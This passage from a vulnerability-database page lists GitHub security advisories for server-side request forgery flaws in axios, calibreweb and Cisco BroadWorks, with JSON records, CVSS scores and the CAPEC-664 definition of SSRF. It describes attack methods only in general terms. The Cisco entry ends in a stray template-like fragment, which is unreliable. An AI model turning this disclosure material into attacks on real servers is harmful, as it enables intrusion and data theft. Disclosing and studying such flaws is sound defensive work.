    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-AXIOS-1038255"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1594"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios vulnerable to Server-Side Request Forgery"
}

GHSA-4W8P-X6G8-FV64

Vulnerability from github – Published: 2022-02-01 00:48 – Updated: 2024-11-19 19:23
VLAI
Summary
Server-Side Request Forgery in calibreweb
Details

calibreweb prior to version 0.6.16 contains a Server-Side Request Forgery (SSRF) vulnerability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "calibreweb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-0339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-31T22:07:47Z",
    "nvd_published_at": "2022-01-30T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "calibreweb prior to version 0.6.16 contains a Server-Side Request Forgery (SSRF) vulnerability.",
  "id": "GHSA-4w8p-x6g8-fv64",
  "modified": "2024-11-19T19:23:22Z",
  "published": "2022-02-01T00:48:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0339"
    },
    {
      "type": "WEB",
      "url": "https://github.com/janeczku/calibre-web/commit/35f6f4c727c887f8f3607fe3233dbc1980d15020"
    },
    {
      "type": "WEB",
      "url": "https://github.com/janeczku/calibre-web/commit/3b216bfa07ec7992eff03e55d61732af6df9bb92"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/janeczku/calibre-web"
    },
    {
      "type": "WEB",
      "url": "https://github.com/janeczku/calibre-web/releases/tag/0.6.16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/calibreweb/PYSEC-2022-23.yaml"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/499688c4-6ac4-4047-a868-7922c3eab369"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Server-Side Request Forgery in calibreweb"
}

GHSA-4W9W-3V73-2RH7

Vulnerability from github – Published: 2022-11-04 19:01 – Updated: 2022-11-08 19:00
VLAI
Details

A vulnerability in the web-based management interface of Cisco BroadWorks CommPilot application could allow an unauthenticated, remote attacker to perform a server-side request forgery (SSRF) attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web interface. A successful exploit could allow the attacker to obtain confidential information from the BroadWorks server and other device on the network. {{value}} ["%7b%7bvalue%7d%7d"])}]]

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-20958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-36",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-04T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the web-based management interface of Cisco BroadWorks CommPilot application could allow an unauthenticated, remote attacker to perform a server-side request forgery (SSRF) attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web interface. A successful exploit could allow the attacker to obtain confidential information from the BroadWorks server and other device on the network. {{value}} [\"%7b%7bvalue%7d%7d\"])}]]",
  "id": "GHSA-4w9w-3v73-2rh7",
  "modified": "2022-11-08T19:00:23Z",
  "published": "2022-11-04T19:01:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20958"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-ssrf-BJeQfpp"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-ssrf-BJeQfpp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.